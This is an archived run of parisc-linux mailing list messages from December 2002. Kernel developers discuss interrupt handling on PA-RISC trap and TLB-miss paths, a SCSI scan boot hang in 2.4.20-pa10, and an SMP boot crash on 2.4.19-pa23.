	John David Anglin <dave@hiauly1.hia.nrc.ca>, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  9 11:20:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F1944866
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Dec 2002 11:20:39 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18LSW9-00020L-00; Mon, 09 Dec 2002 18:20:33 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021209180316.GA6635@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Mon, Dec 09, 2002 at 11:03:16AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17063

On Mon, Dec 09, 2002 at 11:03:16AM -0700, Grant Grundler wrote:
> > Judging from the use of cli & sti in the x86 asm, I would venture to
> > suggest that the I bit should be cleared.  It makes sense anyway --
> > you can't expect interrupts to be disabled over a page fault.
> 
> The above two statements don't make sense to me.
> Clearing I-bit (ie rsm) will disable interrupts.
> The second sentence suggests the opposite.
> Or did I read it wrong?

i misremembered the sense of the I bit

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trap handler
Date: Mon, 9 Dec 2002 11:41:25 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20021209184125.GC6635@dsl2.external.hp.com>
References: <20021208232601.GH21187@tausq.org> <200212082355.gB8NtUAe010825@hiauly1.hia.nrc.ca> <20021209051214.GK21187@tausq.org> <20021209061913.GM21187@tausq.org> <20021209125416.F20336@parcelfarce.linux.theplanet.co.uk> <20021209180316.GA6635@dsl2.external.hp.com> <20021209182033.L20336@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622010 18499 80.91.229.3 (22 Nov 2014 02:06:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:50 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  9 11:41:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 1FD2B4829; Mon,  9 Dec 2002 11:41:25 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021209182033.L20336@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17064

On Mon, Dec 09, 2002 at 06:20:33PM +0000, Matthew Wilcox wrote:
> On Mon, Dec 09, 2002 at 11:03:16AM -0700, Grant Grundler wrote:
> > > Judging from the use of cli & sti in the x86 asm, I would venture to
> > > suggest that the I bit should be cleared.  It makes sense anyway --
> > > you can't expect interrupts to be disabled over a page fault.
...
> i misremembered the sense of the I bit

As jsm agreed, if interrupts were disabled when we took the fault,
we can't re-enable them while handling a page fault.
Where x86 disables interrupts seems ok to me.

But the 2.4.20 parisc code (entry.S) re-enables interrupts at
intr_return label (ssm insn). Should parisc *not* be re-enabling
interrupts at all or at least not until after intr_check_resched
code block?

I'm trying to align x86/parisc implementations.
And "misaligned trap handler" is one difference I suspect
the x86 code doesn't have to handle.

thanks,
grant


From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trap handler
Date: Mon, 9 Dec 2002 18:55:21 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20021209185521.M20336@parcelfarce.linux.theplanet.co.uk>
References: <20021208232601.GH21187@tausq.org> <200212082355.gB8NtUAe010825@hiauly1.hia.nrc.ca> <20021209051214.GK21187@tausq.org> <20021209061913.GM21187@tausq.org> <20021209125416.F20336@parcelfarce.linux.theplanet.co.uk> <20021209180316.GA6635@dsl2.external.hp.com> <20021209182033.L20336@parcelfarce.linux.theplanet.co.uk> <20021209184125.GC6635@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622011 18501 80.91.229.3 (22 Nov 2014 02:06:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:51 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Randolph Chung <tausq@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  9 11:55:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94FD64872
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Dec 2002 11:55:27 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18LT3q-0002dJ-00; Mon, 09 Dec 2002 18:55:22 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021209184125.GC6635@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Mon, Dec 09, 2002 at 11:41:25AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17065

On Mon, Dec 09, 2002 at 11:41:25AM -0700, Grant Grundler wrote:
> As jsm agreed, if interrupts were disabled when we took the fault,
> we can't re-enable them while handling a page fault.
> Where x86 disables interrupts seems ok to me.

um, there's a difference between a page fault and a TLB miss.  if you
have interrupts disabled and you take a page fault, something's gone
horribly wrong.  having interrupts disabled when you miss the TLB cache
is no big deal.  we _absolutely must not_ tamper with interrupt enable
state when handling a TLB miss.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new 2.4.20-pa10 kernel: boot pb.
Date: Tue, 10 Dec 2002 17:54:03 +0100
Organization: H.P
Lines: 32
Approved: news@gmane.org
Message-ID: <3DF61C2B.F0DF81FC@admin.france.hp.com>
References: <3DF0D2C0.D24A29B1@admin.france.hp.com> <20021206170904.GY19331@tausq.org> <3DF456D5.7E000273@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------642B120FE2CF7A3E3EF4F642"
X-Trace: ger.gmane.org 1416622011 18502 80.91.229.3 (22 Nov 2014 02:06:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:51 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 10 10:21:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C3F14829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 10:21:38 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 70A34EB1; Tue, 10 Dec 2002 17:54:12 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id RAA08331; Tue, 10 Dec 2002 17:52:09 +0100 (MET)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17066

This is a multi-part message in MIME format.
--------------642B120FE2CF7A3E3EF4F642
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

ICAgIEhpDQpJIGRpZG4ndCBmaW5kIGFueXRoaW5nIG5ldyBhYm91dCB0aGlzIHBiLiBJdCBp
cyBoYW5naW5nIGluIHRoZSBzY2FuIG9mDQp0aGUgYnVzIHdoaWxlIGluIHNjYW5fc2NzaXNf
c2luZ2xlKCkuIEkndmUgdHJpZWQgdG8gcmVjb21waWxlIDIuNC4xOS1wYTIwDQphbmQgaXQg
d29ya3MgZmluZSA/Pz8/IFNvIHdoYXQgY2hhbmdlIGJlZXR3ZWVuIDIuNC4xOSBhbmQgMi40
LjIwIGluIHRoaXMNCmFyZWEgPw0KDQogICAgdGhhbmtzLg0KDQotLQ0KICAgICAgICBWaWRh
bCBCcnVubywgKDc3MC00MjcxKQ0KICAgICAgICBTU0QtSEEgVGVhbSwgSFAtVVggJiBMSU5V
WCBTdXBwb3J0DQogICAgICAgIGJydW5vX3ZpZGFsQGFkbWluLmZyYW5jZS5ocC5jb20NCg0K
DQo=
--------------642B120FE2CF7A3E3EF4F642
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------642B120FE2CF7A3E3EF4F642--



From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "KING,RICHARD (HP-Boise,ex1)" <richard_king@am.exch.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Tue, 10 Dec 2002 13:25:55 -0500
Lines: 2
Approved: news@gmane.org
Message-ID: <CBD6266EA291D5118144009027AA633508626AA6@xboi05.boi.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416622011 18505 80.91.229.3 (22 Nov 2014 02:06:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:51 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 10 11:26:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6126D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 11:26:52 -0700 (MST)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel7.hp.com (Postfix) with ESMTP id 07D71805C35
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 13:26:47 -0500 (EST)
Original-Received: from xatlbh4.atl.hp.com (xatlbh4.atl.hp.com [15.45.89.189])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP id 8B0681CE
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 13:26:16 -0500 (EST)
Original-Received: by xatlbh4.atl.hp.com with Internet Mail Service (5.5.2655.55)
	id <XP3LPJ9B>; Tue, 10 Dec 2002 13:26:06 -0500
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17067

confirm 133734


From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP on kernel version 19 pa 23
Date: Tue, 10 Dec 2002 10:41:00 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <9A0482A7BD2506488AD9417C93F3714FB4ABC3@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622012 18507 80.91.229.3 (22 Nov 2014 02:06:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:52 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 10 11:41:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id B22214829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 11:41:41 -0700 (MST)
Original-Received: from xparelay2.ptp.hp.com (xparelay2.ptp.hp.com [15.1.28.65])
	by palrel11.hp.com (Postfix) with ESMTP id C9FB4600C97
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 10:41:36 -0800 (PST)
Original-Received: from xpabh2.ptp.hp.com (xpabh2.ptp.hp.com [15.1.28.61])
	by xparelay2.ptp.hp.com (Postfix) with ESMTP id 880F81A4
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 10:41:16 -0800 (PST)
Original-Received: by xpabh2.ptp.hp.com with Internet Mail Service (5.5.2655.55)
	id <Y3W1N2AQ>; Tue, 10 Dec 2002 10:41:06 -0800
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17068

Hi people,

	I would link to know if the SMP is working on kernel 19 pa 23, 32
bits?
	
	I'm make this question because when I enable SMP to compile this
kernel and put it to run, it crashes when the systen try do boot.
	If anyone know something about this, please give me a tip to solve
this.

Thanks in Advance,

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com




From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP on kernel version 19 pa 23
Date: Tue, 10 Dec 2002 12:24:12 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20021210192412.GB16933@dsl2.external.hp.com>
References: <9A0482A7BD2506488AD9417C93F3714FB4ABC3@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622012 18511 80.91.229.3 (22 Nov 2014 02:06:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:52 +0000 (UTC)
Cc: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 10 12:24:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 8A50E4829; Tue, 10 Dec 2002 12:24:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714FB4ABC3@xsp01.brazil.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17069

On Tue, Dec 10, 2002 at 10:41:00AM -0800, FARINATI,LEANDRO wrote:
> 	I would link to know if the SMP is working on kernel 19 pa 23, 32
> bits?

I assume you mean 2.4.19-pa23.
IIRC 2.4.19-pa24 booted/worked on a500 (64-bit) and I thought that was
an SMP kernel but aren't sure now.

> 	I'm make this question because when I enable SMP to compile this
> kernel and put it to run, it crashes when the systen try do boot.

can you post the console output?
And you .config file? (if it's not the default)

grant


From - Thu Nov 08 21:25:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP on kernel version 19 pa 23
Date: Tue, 10 Dec 2002 11:31:47 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <20021210193147.GB19331@tausq.org>
References: <9A0482A7BD2506488AD9417C93F3714FB4ABC3@xsp01.brazil.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622012 18513 80.91.229.3 (22 Nov 2014 02:06:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:52 +0000 (UTC)
Cc: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 10 12:27:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FF8A483B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 12:27:30 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 84249CD64C; Tue, 10 Dec 2002 11:31:47 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714FB4ABC3@xsp01.brazil.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17070

> 	I'm make this question because when I enable SMP to compile this
> kernel and put it to run, it crashes when the systen try do boot.
> 	If anyone know something about this, please give me a tip to solve
> this.

Please follow http://www.parisc-linux.org/faq/kernelbug-howto.html to
report the problem.

randolph


From - Thu Nov 08 21:25:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arto Jantunen <viiru@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP on kernel version 19 pa 23
Date: Tue, 10 Dec 2002 23:45:35 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <87hedlwnsw.fsf@welho.com>
References: <9A0482A7BD2506488AD9417C93F3714FB4ABC3@xsp01.brazil.hp.com>
	<20021210192412.GB16933@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622012 18514 80.91.229.3 (22 Nov 2014 02:06:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:52 +0000 (UTC)
Cc: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>,
	"Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 10 14:45:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp3.pp.htv.fi (smtp3.pp.htv.fi [213.243.153.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id C044B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 14:45:45 -0700 (MST)
Original-Received: from posti.pp.htv.fi (posti.pp.htv.fi [212.90.64.50])
	by smtp3.pp.htv.fi (Postfix) with ESMTP
	id E05C027ACA6; Tue, 10 Dec 2002 23:45:37 +0200 (EET)
Original-Received: from kitsune ([213.243.186.102])
	by posti.pp.htv.fi (8.11.1/8.11.1) with ESMTP id gBALja503852;
	Tue, 10 Dec 2002 23:45:36 +0200 (EET)
Original-Received: by kitsune (Postfix, from userid 1000)
	id 12316105D24; Tue, 10 Dec 2002 23:45:35 +0200 (EET)
In-Reply-To: <20021210192412.GB16933@dsl2.external.hp.com> (grundler@dsl2.external.hp.com's
